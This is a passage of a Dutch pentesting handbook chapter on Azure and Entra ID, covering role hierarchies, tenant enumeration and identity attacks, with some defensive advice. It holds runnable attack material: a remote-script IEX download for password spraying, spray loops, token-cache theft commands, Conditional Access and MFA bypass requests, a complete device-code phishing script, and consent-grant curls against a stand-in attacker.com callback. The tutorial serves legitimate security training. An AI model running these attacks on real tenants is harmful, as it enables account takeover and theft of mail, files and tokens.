Azure en Entra ID
“De cloud is andermans computer. Active Directory in de cloud is andermans computer met het telefoonboek van je hele bedrijf erop. Wat kan er misgaan?”
4.1 Azure Architectuur voor Pentesters
4.1.1 De Geologie van de Cloud
Als je Active Directory on-premises kunt vergelijken met een middeleeuws kasteel — muren, grachten, een ophaalbrug, en een bewaker die de helft van de tijd slaapt — dan is Azure een heel ander beest. Azure is een stad. Een stad zonder muren, zonder grachten, met honderden ingangen, en met een bewakingssysteem dat volledig afhankelijk is van pasjes, camera’s en beleidsregels die niemand volledig heeft gelezen.
En net als bij elke stad geldt: als je de plattegrond kent, kun je overal komen.
De Azure-architectuur is hierarchisch opgebouwd, van boven naar beneden. Voor een pentester is het begrijpen van die hierarchie niet optioneel — het is de basis van alles wat volgt. Als je niet weet waar je bent in de boom, weet je niet waar je heen kunt.
4.1.2 De Hierarchie
┌──────────────────────────────────────────────────────────────────┐
│ Azure AD Tenant (Entra ID) │
│ (identiteit en authenticatie) │
│ │
│ ┌────────────────────────────────────────────────────────────┐ │
│ │ Root Management Group │ │
│ │ │ │
│ │ ┌──────────────────┐ ┌──────────────────┐ │ │
│ │ │ Management Group │ │ Management Group │ │ │
│ │ │ "Productie" │ │ "Development" │ │ │
│ │ │ │ │ │ │ │
│ │ │ ┌──────────────┐ │ │ ┌──────────────┐ │ │ │
│ │ │ │ Subscription │ │ │ │ Subscription │ │ │ │
│ │ │ │ "Prod-001" │ │ │ │ "Dev-001" │ │ │ │
│ │ │ │ │ │ │ │ │ │ │ │
│ │ │ │ ┌──────────┐ │ │ │ │ ┌──────────┐ │ │ │ │
│ │ │ │ │ Resource │ │ │ │ │ │ Resource │ │ │ │ │
│ │ │ │ │ Group │ │ │ │ │ │ Group │ │ │ │ │
│ │ │ │ └──────────┘ │ │ │ │ └──────────┘ │ │ │ │
│ │ │ └──────────────┘ │ │ └──────────────┘ │ │ │
│ │ └──────────────────┘ └──────────────────┘ │ │
│ └────────────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────┘
De lagen, van boven naar beneden:
| Laag | Beschrijving | Analogie |
|---|---|---|
| Tenant (Entra ID) | De identiteitslaag. Eén tenant per organisatie. Bevat users, groups, app registrations, service principals | De gemeente: wie mag hier wonen? |
| Management Groups | Optionele groepering van subscriptions. Handig voor governance, gevaarlijk als je er rechten op hebt | De stadsdelen |
| Subscriptions | De facturatie- en beheersgrens. Resources leven in een subscription | De wijken |
| Resource Groups | Logische container voor resources. Geen beveiligingsgrens, maar wel een scope voor RBAC | De straten |
| Resources | De werkelijke diensten: VMs, databases, storage accounts, key vaults | De gebouwen |
Cruciaal voor pentesters: rechten erven naar
beneden. Wie Owner is op een Management Group, is
impliciet Owner op alle subscriptions, resource groups en
resources daaronder. Dit is de basis van privilege escalation in Azure —
als je ergens hoog in de boom rechten kunt krijgen, druppelt de macht
vanzelf naar beneden.
# Huidige context bekijken
az account show
# Alle beschikbare subscriptions
az account list --output table
# Alle management groups (vereist leesrechten)
az account management-group list --output table
# Van subscription wisselen
az account set --subscription "Subscription-naam-of-ID"IB Tip: Gebruik het Commands-paneel en zoek op
enum_voor Azure-enumeratiecommando’s. Deaz account listoutput is je eerste oriëntatiepunt — het vertelt je welke subscriptions je kunt bereiken en met welke identity.
4.1.3 RBAC versus Entra ID Roles
Hier wordt het verwarrend, en het is precies het soort verwarring waar aanvallers van profiteren. Azure heeft twee volledig gescheiden role-systemen:
1. Azure RBAC (Resource-level)
Azure Role-Based Access Control beheert wie wat mag doen met Azure resources — virtuele machines, databases, storage accounts. Het is het sleutelbeheer van de gebouwen.
Ingebouwde RBAC-rollen:
| Rol | Scope | Gevaar |
|---|---|---|
| Owner | Volledige controle + mag rechten toekennen | Kritiek |
| Contributor | Volledige controle, maar mag geen rechten toekennen | Hoog |
| Reader | Alleen lezen | Laag (maar enumeratie!) |
| User Access Administrator | Mag RBAC-rollen toekennen | Kritiek |
# Eigen RBAC-rollen bekijken
az role assignment list --assignee "$(az ad signed-in-user show --query id -o tsv)" \
--all --output table
# Alle role assignments in een subscription
az role assignment list --all --output table
# Wie is Owner van de subscription?
az role assignment list --role "Owner" --all --output table2. Entra ID Roles (Directory-level)
Entra ID-rollen beheersen wie wat mag doen met identiteiten — users aanmaken, groups beheren, app registrations configureren. Het is het bevolkingsregister.
Gevaarlijke Entra ID-rollen:
| Rol | Wat het doet | Waarom het gevaarlijk is |
|---|---|---|
| Global Administrator | Alles. Letterlijk alles. | De kerncentrale-sleutel van je tenant |
| Privileged Role Administrator | Mag rollen toewijzen | Kan zichzelf of anderen Global Admin maken |
| Application Administrator | Beheert alle app registrations | Kan credentials van apps wijzigen |
| Cloud Application Administrator | Beheert cloud apps | Credential reset van enterprise apps |
| Hybrid Identity Administrator | Beheert AD Connect en federation | Kan on-prem/cloud sync manipuleren |
| Exchange Administrator | Beheert Exchange Online | Kan mailboxen lezen, regels instellen |
| Intune Administrator | Beheert endpoint management | Code execution op alle beheerde devices |
# Eigen Entra ID-rollen opvragen
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/me/memberOf" \
--query "value[?@odata.type=='#microsoft.graph.directoryRole'].{Role:displayName}" \
--output table
# Alle Global Admins vinden
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles" \
--query "value[?displayName=='Global Administrator'].id" -o tsv | \
xargs -I{} az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/{}/members" \
--query "value[].{Name:displayName,UPN:userPrincipalName}" -o tableDe verwarring tussen deze twee systemen is een vruchtbare voedingsbodem voor misconfiguraties. Een beheerder die denkt “ik heb hem Reader gemaakt, dus hij kan niets” vergeet dat diezelfde gebruiker via een Entra ID-rol Application Administrator kan zijn — en daarmee credentials van service principals kan resetten die wél Contributor zijn op productie-subscriptions.
Het is alsof het bevolkingsregister en de sleutelbeheerder van de stad door twee verschillende afdelingen worden gerund die niet met elkaar praten. Eén afdeling zegt: “Deze persoon mag het park in.” De andere zegt: “Deze persoon mag paspoorten uitgeven.” En niemand vraagt zich af of iemand die paspoorten kan uitgeven misschien ook het park in kan.
4.1.4 De Global Admin Nuclear Option
Er is één bijzonderheid die elke pentester moet kennen: een
Global Administrator kan zichzelf
User Access Administrator maken op de root Management
Group. Daarmee heeft een directory-level rol plotseling volledige
controle over alle Azure resources in alle
subscriptions.
# Global Admin → User Access Admin op root scope
az rest --method POST \
--uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"Dit is by design. Microsoft documenteert het als “noodtoegang.” Voor pentesters is het de holy grail: van identiteitsbeheer naar infrastructuurcontrole in één API-call.
4.2 Entra ID Fundamenten
4.2.1 De Burgers van de Stad
Entra ID — voorheen Azure Active Directory, voorheen Azure AD, want Microsoft hernoemt dingen zoals andere bedrijven koffie drinken — is het identiteitsplatform van Microsoft’s cloud. Het is niet hetzelfde als on-premises Active Directory, al probeert Microsoft heel hard om je dat te laten denken.
On-premises AD is een LDAP-directory met Kerberos. Entra ID is een REST API met OAuth 2.0 en OpenID Connect. De concepten lijken op elkaar (users, groups, rollen), maar de implementatie is fundamenteel anders. Dit is belangrijk, want aanvalstechnieken die werken in on-premises AD werken niet in Entra ID, en vice versa.
De identiteitsobjecten in Entra ID:
4.2.2 Users
Gebruikers in Entra ID komen in twee smaken:
| Type | Beschrijving | Risico |
|---|---|---|
| Member | Volwaardige tenant-gebruiker | Standaard brede leesrechten op directory |
| Guest | Externe gebruiker (B2B) | Beperkte rechten, maar vaak meer dan verwacht |
Standaard kan elke Member-user: - Alle andere users en hun properties lezen - Alle groepen en hun leden lezen - Alle app registrations lezen - Alle service principals lezen - Devices enumereren
Dit is een enorm verschil met on-premises AD, waar je PowerView of BloodHound nodig hebt om dezelfde informatie te verzamelen. In Entra ID is de directory standaard leesbaar voor elke geauthenticeerde gebruiker. Het is alsof het telefoonboek niet alleen namen en nummers bevat, maar ook adressen, werkgevers, en welke deuren ze mogen openen.
# Alle users ophalen
az ad user list --output table
# Specifieke user details
az ad user show --id "user@domain.com"
# Guest users vinden (vaak minder gemonitord)
az ad user list --filter "userType eq 'Guest'" --output table
# Users met specifieke job title (informatieverzameling)
az ad user list --query "[?jobTitle=='IT Administrator'].{Name:displayName,UPN:userPrincipalName}" -o table4.2.3 Groups
Groepen in Entra ID:
| Type | Beschrijving | Pentest-relevantie |
|---|---|---|
| Security Group | Rechten toekennen | RBAC-assignments, Conditional Access |
| Microsoft 365 Group | Collaboration (Teams, SharePoint) | Bevat vaak gevoelige data |
| Dynamic Group | Lidmaatschap op basis van regels | Manipuleerbaar als je user-properties kunt wijzigen |
| Role-assignable Group | Kan Entra ID-rollen toegewezen krijgen | Jackpot als je lid wordt |
Dynamic Groups zijn bijzonder interessant. Als een groep automatisch
iedereen met department = IT toevoegt, en jij kunt je eigen
department-property wijzigen… dan voeg je jezelf toe aan
die groep. Zonder dat iemand het goedkeurt.
# Alle groepen
az ad group list --output table
# Leden van een specifieke groep
az ad group member list --group "Groepsnaam" --output table
# Groepen waar je lid van bent
az ad group list --query "[?contains(mail,'') || contains(displayName,'')]" -o table
# Dynamic groups vinden
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/groups?\$filter=groupTypes/any(g:g eq 'DynamicMembership')" \
--query "value[].{Name:displayName,Rule:membershipRule}" -o table4.2.4 App Registrations en Service Principals
Hier wordt het spannend — en verwarrend. Laten we het ontwarren.
Een App Registration is een blauwdruk. Het definieert een applicatie: welke permissions heeft het nodig, welke redirect URIs gebruikt het, welke credentials accepteert het. Het is het architectuurtekening van een gebouw.
Een Service Principal is een instantie van die blauwdruk in een specifieke tenant. Het is het daadwerkelijke gebouw. Elke App Registration in je tenant heeft automatisch een Service Principal. Maar er zijn ook Service Principals voor externe apps (Microsoft’s eigen apps, third-party SaaS) die geen App Registration in jouw tenant hebben.
Een Enterprise Application is Microsoft’s marketingnaam voor een Service Principal. Zelfde ding, andere verpakking.
App Registration (global definitie)
│
├── Service Principal in Tenant A
│ └── credentials, permissions, role assignments
│
└── Service Principal in Tenant B
└── credentials, permissions, role assignments
Waarom dit belangrijk is voor pentesters:
- App Registrations hebben credentials — client secrets en certificates. Als je die vindt, authenticeer je als de applicatie.
- Service Principals kunnen RBAC-rollen hebben — een
app met
Contributorop een subscription kan alles doen wat een gebruiker met die rol kan. - API Permissions — apps kunnen vergaande rechten
hebben op Microsoft Graph, Exchange, SharePoint. Een app met
Mail.Readleest ieders mail.
# Alle app registrations
az ad app list --output table
# App registrations met credentials (client secrets)
az ad app list --query "[?passwordCredentials[0]!=null].{Name:displayName,AppId:appId}" -o table
# Service principals
az ad sp list --all --output table
# Service principals met hoge RBAC-rollen
az role assignment list --all --query "[?principalType=='ServicePrincipal']" -o tableIB Tip: App registrations met verlopen credentials zijn goudmijnen. Als een credential verlopen is maar de app registration nog bestaat, kan soms een nieuwe credential worden toegevoegd door iemand met de juiste Entra ID-rol. Zoek naar apps waar
passwordCredentialsofkeyCredentialsleeg of verlopen zijn.
4.2.5 Managed Identities
Managed Identities zijn Azure’s antwoord op het probleem van credentials in code. In plaats van een wachtwoord of API-key in een configuratiebestand te zetten (wat elke ontwikkelaar op aarde toch doet, ongeacht hoeveel security-trainingen ze hebben gevolgd), wijst Azure automatisch een identiteit toe aan een resource.
| Type | Scope | Levenscyclus |
|---|---|---|
| System-assigned | Gebonden aan één resource | Wordt verwijderd als de resource wordt verwijderd |
| User-assigned | Kan aan meerdere resources worden gekoppeld | Onafhankelijke levenscyclus |
Het probleem vanuit security-perspectief: Managed Identities
authenticeren via de Instance Metadata Service (IMDS)
op 169.254.169.254. Elke code die draait op de Azure
resource — inclusief de code van een aanvaller die command execution
heeft verkregen — kan een token opvragen. Geen credentials nodig. Geen
MFA. Gewoon een HTTP-request.
We komen hier uitgebreid op terug in sectie 4.6.
4.2.6 Primary Refresh Tokens (PRT)
Een Primary Refresh Token is het Kerberos TGT van Entra ID. Het is een langlevend token dat wordt uitgegeven wanneer een gebruiker zich authenticeert op een Azure AD-joined of hybrid-joined device. Met een PRT kun je SSO krijgen naar alle cloud-applicaties zonder opnieuw in te loggen.
En net als een TGT is het een jackpot als je het kunt stelen.
Een PRT bevat: - De identity van de gebruiker - De device identity - Een session key - MFA-claims (als MFA is uitgevoerd bij het verkrijgen)
Dat laatste punt is cruciaal: als het PRT MFA-claims bevat, omzeil je effectief MFA voor alle toekomstige authenticaties. Het is alsof je bij de voordeur je paspoort en vingerafdruk toont, en daarna de hele dag vrij kunt rondlopen omdat het systeem onthoudt dat je je eerder hebt geïdentificeerd.
PRT-extractie behandelen we in sectie 4.11 over hybride identiteitspaden.
4.3 Entra ID Enumeration
4.3.1 De Eerste Verkenning
Enumeratie in Entra ID is tegelijkertijd makkelijker en moeilijker dan in on-premises AD. Makkelijker, omdat de Microsoft Graph API je een gestructureerde, gedocumenteerde interface geeft. Moeilijker, omdat er Conditional Access, audit logs en anomaliedetectie in de weg kunnen staan.
Maar laten we eerlijk zijn: in de meeste omgevingen die we testen, staat anomaliedetectie uit, worden audit logs niet bekeken, en is Conditional Access geconfigureerd met de precisie van iemand die een sudoku invult terwijl hij Netflix kijkt.
4.3.2 AzureAD PowerShell Module
De AzureAD-module is officieel deprecated (Microsoft wil dat je Microsoft Graph PowerShell gebruikt), maar het werkt nog steeds en is in veel omgevingen beschikbaar:
# Verbinden (interactief)
Install-Module AzureAD
Connect-AzureAD
# Alle users
Get-AzureADUser -All $true | Select-Object DisplayName,UserPrincipalName,UserType
# Alle groepen
Get-AzureADGroup -All $true | Select-Object DisplayName,ObjectId,SecurityEnabled
# Groepsleden
Get-AzureADGroupMember -ObjectId "GROEP_ID" -All $true
# Directory-rollen
Get-AzureADDirectoryRole | ForEach-Object {
$role = $_
Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId | ForEach-Object {
[PSCustomObject]@{
Role = $role.DisplayName
Member = $_.DisplayName
UPN = $_.UserPrincipalName
}
}
} | Format-Table -AutoSize
# App registrations met credentials
Get-AzureADApplication -All $true | Where-Object {
$_.PasswordCredentials.Count -gt 0 -or $_.KeyCredentials.Count -gt 0
} | Select-Object DisplayName,AppId
# Service principals met app role assignments
Get-AzureADServicePrincipal -All $true | ForEach-Object {
$sp = $_
Get-AzureADServiceAppRoleAssignment -ObjectId $sp.ObjectId -ErrorAction SilentlyContinue | ForEach-Object {
[PSCustomObject]@{
SP = $sp.DisplayName
Resource = $_.ResourceDisplayName
Permission = $_.Id
}
}
}4.3.3 Microsoft Graph API
Microsoft Graph is de toekomst. Alle Entra ID-data is bereikbaar via
REST-endpoints. Je kunt het aanroepen met az rest, met
curl en een bearer token, of met de Microsoft Graph
PowerShell SDK.
# Token verkrijgen via az cli
TOKEN=$(az account get-access-token --resource "https://graph.microsoft.com" --query accessToken -o tsv)
# Alle users (let op: standaard paginated, max 100 per pagina)
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/users?\$select=displayName,userPrincipalName,userType,jobTitle,department" | \
python3 -m json.tool
# Alle groepen met membership rules
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/groups?\$filter=groupTypes/any(g:g eq 'DynamicMembership')&\$select=displayName,membershipRule" | \
python3 -m json.tool
# App registrations met permissions
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/applications?\$select=displayName,appId,requiredResourceAccess,passwordCredentials" | \
python3 -m json.tool
# Directory role assignments
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments?\$expand=principal" | \
python3 -m json.tool
# Conditional Access policies (vereist hogere rechten)
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" | \
python3 -m json.toolLet op: Microsoft Graph-aanroepen worden gelogd. In een volwassen omgeving kan een plotselinge golf van Graph API-calls een alert triggeren. Overweeg om je enumeratie te spreiden over tijd, of gebruik de
$select-parameter om alleen de velden op te vragen die je nodig hebt.
4.3.4 ROADtools (roadrecon)
ROADtools, gebouwd door Dirk-jan Mollema, is BloodHound voor Entra ID. Het verzamelt de volledige directory in een lokale database en biedt een GUI voor analyse.
# Installatie
pip install roadrecon roadlib
# Authenticatie (met az cli token)
roadrecon auth --access-token "$(az account get-access-token \
--resource "https://graph.microsoft.com" --query accessToken -o tsv)"
# Of met username/password
roadrecon auth -u user@domain.com -p 'Password123!'
# Volledige directory dumpen
roadrecon gather
# GUI starten
roadrecon gui
# Open browser op http://127.0.0.1:5000ROADrecon verzamelt: - Alle users en hun properties - Alle groepen en lidmaatschappen - Alle app registrations en service principals - Alle role assignments (Entra ID en app roles) - OAuth2 permission grants - Conditional Access policies (als je leesrechten hebt) - Devices en hun registraties
De GUI toont relaties visueel — wie heeft welke rol, welke app heeft welke permissions, welke users zijn lid van welke groepen. Het is BloodHound voor de cloud, en het is net zo onthullend.
# ROADrecon database analyseren via CLI
roadrecon plugin policies # Conditional Access analyse
roadrecon plugin bloodhound # Export naar BloodHound-formaatIB Tip: De ROADrecon database (
roadrecon.db) is een SQLite-bestand. Je kunt het direct queryen met SQL als je specifieke vragen hebt die de GUI niet beantwoordt. Bijvoorbeeld: welke apps hebbenMail.ReadWritepermissions?
4.3.5 Az CLI Enumeration
De az CLI is je dagelijkse chauffeur. Het is
geinstalleerd op elke Azure-beheersmachine en beschikbaar in Azure Cloud
Shell.
# Wie ben ik?
az ad signed-in-user show
# Mijn groepslidmaatschappen
az ad signed-in-user show --query "id" -o tsv | \
xargs -I{} az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/users/{}/memberOf" \
--query "value[].{Type:@odata.type,Name:displayName}" -o table
# Alle users met hun rollen
az ad user list --query "[].{UPN:userPrincipalName,Name:displayName,Type:userType}" -o table
# Devices (Azure AD joined/registered)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/devices" \
--query "value[].{Name:displayName,OS:operatingSystem,Trust:trustType}" -o table
# Alle resources in bereikbare subscriptions
az resource list --output table
# Virtual machines (doelen voor credential theft)
az vm list --output table
# Key Vaults (doelen voor secret extraction)
az keyvault list --output table
# Storage accounts (doelen voor data exfiltratie)
az storage account list --output table
# Automation accounts (doelen voor runbook abuse)
az automation account list --output table 2>/dev/null4.3.6 Unauthenticated Enumeration
Zelfs zonder credentials kun je informatie verzamelen over een Azure-tenant:
# Controleer of een domein Azure AD gebruikt
curl -s "https://login.microsoftonline.com/TARGET_DOMAIN/.well-known/openid-configuration" | \
python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('tenant_discovery_endpoint','Niet gevonden'))"
# Tenant ID achterhalen
curl -s "https://login.microsoftonline.com/TARGET_DOMAIN/.well-known/openid-configuration" | \
python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('token_endpoint','').split('/')[3])"
# Gebruikersenumeratie via login-endpoint (autothrottle na ~10 requests)
# Antwoord verschilt tussen "user not found" en "wrong password"
curl -s -X POST \
"https://login.microsoftonline.com/TARGET_DOMAIN/oauth2/token" \
-d "grant_type=password&username=admin@TARGET_DOMAIN&password=dummy&client_id=1b730954-1685-4b74-9bfd-dac224a7b894&resource=https://graph.microsoft.com" 2>&1 | \
python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('error_description','')[:80])"De foutmeldingen zijn verrassend informatief.
AADSTS50126 betekent “gebruiker bestaat, wachtwoord fout.”
AADSTS50034 betekent “gebruiker bestaat niet.” Microsoft
noemt dit geen vulnerability. Pentesters zijn het daar niet mee
eens.
4.4 Entra ID Aanvallen
4.4.1 Het Spectrum van Mogelijkheden
Nu we weten hoe de stad eruitziet, is het tijd om in te breken. Entra ID-aanvallen vallen ruwweg in twee categorieen: aanvallen op de identiteit (inloggen als iemand anders) en aanvallen op de configuratie (misbruik maken van wat er al geconfigureerd is). In deze sectie behandelen we de eerste categorie. De configuratie-aanvallen komen in de volgende secties.
4.4.2 Password Spraying met MSOLSpray
Password spraying is het omgekeerde van brute-forcing: in plaats van veel wachtwoorden tegen één account te proberen, probeer je één wachtwoord tegen veel accounts. Dit vermijdt account lockouts en vliegt onder de radar van de meeste detectiesystemen.
MSOLSpray is specifiek ontworpen voor Microsoft Online-omgevingen:
# MSOLSpray downloaden
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/dafthack/MSOLSpray/master/MSOLSpray.ps1')
# Gebruikerslijst voorbereiden
# Formaat: één UPN per regel
# admin@targetdomain.com
# john.doe@targetdomain.com
# service.desk@targetdomain.com
# Spray uitvoeren
Invoke-MSOLSpray -UserList .\users.txt -Password "Winter2026!" -VerboseMSOLSpray is slim: het interpreteert Azure AD-foutcodes en vertelt je niet alleen of een login succesvol was, maar ook: - Of MFA vereist is (valide credentials, maar MFA blokkeert) - Of het account gelocked is - Of het wachtwoord verlopen is (vaak alsnog bruikbaar met token-aanvragen) - Of Conditional Access de login blokkeert (valide credentials, beleid blokkeert)
[*] Results:
[*] admin@target.com - VALID CREDENTIAL (MFA Required)
[*] service.desk@target.com - VALID CREDENTIAL
[*] john.doe@target.com - INVALID PASSWORD
[*] old.account@target.com - ACCOUNT LOCKED
Die “MFA Required”-meldingen zijn goud. Het betekent dat het wachtwoord correct is. Nu hoef je alleen nog MFA te bypassen — en dat is makkelijker dan je denkt.
# Spray via az cli (minder opsec, meer functionaliteit)
while IFS= read -r user; do
az login -u "$user" -p 'Winter2026!' --allow-no-subscriptions 2>&1 | \
grep -q "AADSTS50076" && echo "[MFA] $user" || \
grep -q "interaction_required" && echo "[SUCCESS+MFA] $user" || \
echo "[FAIL] $user"
done < users.txtLet op: Password spraying genereert sign-in logs. In een omgeving met Azure AD Identity Protection kan een spray vanuit één IP-adres een “Unfamiliar sign-in properties” of “Password spray” risico-detectie triggeren. Gebruik een gedistribueerde aanpak of houd je aan maximaal 1 poging per gebruiker per uur.
4.4.3 MFA Bypass Technieken
MFA is de standaard verdediging tegen credential-diefstal. Het probleem is dat MFA in de praktijk zwakker is dan de marketing doet geloven.
Techniek 1: Stolen Session Token
Na succesvolle authenticatie (inclusief MFA) wordt een session token uitgegeven. Als je dat token steelt, hoef je MFA niet opnieuw te doen:
# Azure CLI tokens staan lokaal opgeslagen
# Linux/macOS:
cat ~/.azure/accessTokens.json 2>/dev/null
cat ~/.azure/msal_token_cache.json 2>/dev/null
# Windows:
type %USERPROFILE%\.azure\accessTokens.json
type %USERPROFILE%\.azure\msal_token_cache.json
# Token direct gebruiken
az account get-access-token --resource "https://graph.microsoft.com" -o tsv --query accessTokenTechniek 2: Legacy Protocols
Sommige legacy-protocollen ondersteunen geen MFA. Als deze niet zijn geblokkeerd via Conditional Access:
- IMAP/POP3 (email)
- SMTP AUTH
- Exchange ActiveSync
- Exchange Web Services (ouder)
- PowerShell remoting (oudere versies)
# Test IMAP-toegang met stolen credentials (MFA omzeild)
curl -v "imaps://outlook.office365.com" --user "user@domain.com:Password123!"Techniek 3: Device Code Phishing
Dit is de meest elegante MFA-bypass en verdient zijn eigen subsectie — zie 4.4.5.
4.4.4 Conditional Access Bypass
Conditional Access is Microsoft’s policy engine: “als dit, dan dat.” Bijvoorbeeld: “als de gebruiker inlogt vanaf een niet-beheerd device, dan vereist MFA.” Of: “als de gebruiker inlogt vanuit een riskant land, blokkeer dan.”
Het probleem is dat Conditional Access beleid wordt toegepast op basis van signalen — en die signalen zijn manipuleerbaar.
Veelvoorkomende bypass-methoden:
Named Locations omzeilen:
# Als het beleid "blokkeer landen buiten NL" is,
# gebruik een Nederlands VPN-exitpunt
# Als het beleid trusted IP-ranges specificeert,
# check of de ranges niet te breed zijn
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/identity/conditionalAccess/namedLocations" \
--query "value[].{Name:displayName,Type:@odata.type}" -o tableClient App filters:
# Conditional Access die alleen "browser" en "mobile apps" afdwingt
# maar "other clients" niet blokkeert
# Test met een onbekende client_id
# Microsoft Office client_id (vaak exempted van streng beleid)
curl -s -X POST "https://login.microsoftonline.com/TENANT/oauth2/v2.0/token" \
-d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&scope=https://graph.microsoft.com/.default&grant_type=password&username=USER&password=PASS"Device Compliance gaps:
Conditional Access kan vereisen dat een device “compliant” is. Maar als het beleid alleen geldt voor specifieke apps of platforms, kun je authenticeren via een niet-gedekt pad.
IB Tip: Conditional Access policies analyseren is een van de eerste dingen die je doet na initiële toegang. Gebruik
roadrecon plugin policiesof de Graph API om alle policies op te halen. Zoek naar gaps: welke apps zijn niet gedekt? Welke platformen zijn uitgezonderd? Welke users zijn excluded?
4.4.5 Device Code Phishing
Device code phishing is een van de meest effectieve technieken tegen MFA. Het misbruikt de OAuth 2.0 device authorization flow, ontworpen voor apparaten zonder browser (smart TVs, IoT devices, CLI tools).
Het werkt als volgt:
- De aanvaller start een device code flow en krijgt een code + URL
- De aanvaller stuurt de code naar het slachtoffer: “Ga naar microsoft.com/devicelogin en voer deze code in”
- Het slachtoffer logt in — inclusief MFA — en autoriseert de “device”
- De aanvaller ontvangt tokens (access token + refresh token) namens het slachtoffer
#!/usr/bin/env python3
"""
Device code phishing - stap 1: code genereren
MITRE ATT&CK: T1528 (Steal Application Access Token)
"""
import requests
import json
import time
TENANT = "TARGET_TENANT_ID"
CLIENT_ID = "d3590ed6-52b3-4102-aeff-aad2292ab01c" # Microsoft Office
RESOURCE = "https://graph.microsoft.com"
# Stap 1: Device code aanvragen
resp = requests.post(
f"https://login.microsoftonline.com/{TENANT}/oauth2/v2.0/devicecode",
data={
"client_id": CLIENT_ID,
"scope": f"{RESOURCE}/.default offline_access"
}
)
data = resp.json()
print(f"\n[*] Stuur naar slachtoffer:")
print(f" URL: {data['verification_uri']}")
print(f" Code: {data['user_code']}")
print(f"\n[*] Wacht op authenticatie...")
# Stap 2: Poll voor tokens
device_code = data["device_code"]
interval = data.get("interval", 5)
while True:
time.sleep(interval)
token_resp = requests.post(
f"https://login.microsoftonline.com/{TENANT}/oauth2/v2.0/token",
data={
"grant_type": "urn:ietf:params:oauth:grant-type:device_code",
"client_id": CLIENT_ID,
"device_code": device_code
}
)
token_data = token_resp.json()
if "access_token" in token_data:
print(f"\n[+] TOKEN ONTVANGEN!")
print(f" Access Token: {token_data['access_token'][:50]}...")
if "refresh_token" in token_data:
print(f" Refresh Token: {token_data['refresh_token'][:50]}...")
break
elif token_data.get("error") == "authorization_pending":
continue
elif token_data.get("error") == "expired_token":
print("[-] Code verlopen")
break
else:
print(f"[-] Fout: {token_data.get('error_description','onbekend')}")
breakDe kracht van device code phishing: - Het slachtoffer voert zelf MFA uit — je hoeft het niet te omzeilen - De tokens zijn geldig voor de duur van de refresh token (vaak 90 dagen) - Het ziet er legitiem uit — microsoft.com/devicelogin is een echt Microsoft-domein - Conditional Access wordt uitgevoerd op het device van het slachtoffer, niet van de aanvaller
De verdediging? Blokkeer de device code flow via Conditional Access. Verrassend weinig organisaties doen dit.
4.4.6 Consent Grant Attack (Illicit Consent)
De consent grant attack — ook bekend als illicit consent of OAuth phishing — is een van de elegantste aanvallen in de cloudwereld. Je hoeft geen wachtwoord te stelen. Je hoeft geen MFA te omzeilen. Je vraagt het slachtoffer gewoon om toestemming.
Een aanvaller registreert een app in zijn eigen tenant met brede permissions (Mail.Read, Files.ReadWrite, User.Read.All) en stuurt een consent-link naar het slachtoffer. Het slachtoffer klikt, ziet een Microsoft-login met een permissions-dialog die zegt “Deze app wil je mail lezen en je bestanden bekijken,” denkt “dat zal wel nodig zijn voor die tool die mijn collega aanraadde,” en klikt op “Accept.”
En daarmee heeft de aanvaller permanente toegang tot de mail en bestanden van het slachtoffer. Zonder wachtwoord. Zonder MFA. Via een officieel Microsoft-mechanisme.
# De aanvaller's perspectief: na consent, tokens gebruiken
# Access token ophalen met de verkregen authorization code
curl -s -X POST "https://login.microsoftonline.com/VICTIM_TENANT/oauth2/v2.0/token" \
-d "client_id=ATTACKER_APP_ID" \
-d "client_secret=ATTACKER_APP_SECRET" \
-d "code=AUTHORIZATION_CODE" \
-d "redirect_uri=https://attacker.com/callback" \
-d "grant_type=authorization_code" \
-d "scope=https://graph.microsoft.com/.default"
# Met het token: mail lezen
curl -s -H "Authorization: Bearer ACCESS_TOKEN" \
"https://graph.microsoft.com/v1.0/me/messages?\$select=subject,from,bodyPreview&\$top=10" | \
python3 -m json.tool
# Bestanden ophalen
curl -s -H "Authorization: Bearer ACCESS_TOKEN" \
"https://graph.microsoft.com/v1.0/me/drive/root/children" | \
python3 -m json.toolDe verdediging: stel in Entra ID in dat users geen consent mogen geven aan apps, of alleen aan apps van geverifieerde uitgevers. Configureer een admin consent workflow zodat een beheerder elke consent-aanvraag moet goedkeuren.
# Controleer de huidige consent-instellingen
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/policies/authorizationPolicy" \
--query "{AllowUserConsent:defaultUserRolePermissions.permissionGrantPoliciesAssigned}" -o jsonAls het antwoord
ManagePermissionGrantsForSelf.microsoft-user-default-legacy
bevat, mogen users consent geven. Dat is bijna altijd een bevinding in
je rapport.
4.5 Azure RBAC Exploitation
4.5.1 Het Sleutelsysteem
Azure RBAC is het autorisatiesysteem voor Azure resources. Het werkt met drie componenten:
- Security Principal — wie krijgt de rechten (user, group, service principal, managed identity)
- Role Definition — wat mag worden gedaan (een set van permissions)
- Scope — waar de rechten gelden (management group, subscription, resource group, resource)
# Alle role definitions bekijken
az role definition list --output table
# Custom roles (vaak interessanter dan built-in)
az role definition list --custom-role-only true --output table
# Details van een specifieke rol
az role definition list --name "Custom Developer Role" --output json4.5.2 Custom Role Abuse
Custom roles zijn een veelvoorkomende bron van privilege escalation. Organisaties maken custom roles om het “principle of least privilege” te volgen, maar definiëren de permissions te breed.
